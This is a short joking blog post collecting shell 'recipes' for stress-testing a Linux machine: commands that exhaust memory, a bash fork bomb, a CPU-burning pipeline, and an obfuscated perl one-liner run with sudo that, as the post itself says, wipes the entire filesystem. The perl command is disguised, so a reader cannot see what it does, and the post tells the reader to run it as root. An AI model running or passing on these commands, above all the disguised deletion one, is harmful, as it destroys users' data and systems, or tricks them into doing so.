Subj.

There is one thing you must do, before trying to stress your system. You must ensure that all restrictions in limits.conf (man limits.conf) are dropped.

Ok, assuming that you're already did it.

According to this nano-cookbook from alexkbs@lj there are some funny recipes:

* Q: How to eat all memory available?
A1: tail /dev/zero (recipe from tzirechnoy@lj)
A2: tail /dev/urandom | cat - | grep something (recipe from deka@lj)
A3:

#!/bin/bash
:(){ :|:& };:

(funny little forkbomb from http://en.wikipedia.org/wiki/Fork_bomb mentioned by zhukov_pavel@lj)

* Q: How to consume all CPU cycles?
A: cat /dev/urandom | gzip > /dev/null (from _pacak_@lj)

* Q: How to remove entire FS in a perfect way?
A: See this kewl perl-script for kewl perl-haxxors! (According to this article)

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Note! In order to remove your fs completely (not only your homedir) you must run it under root priveleges.

Happy hacking! :)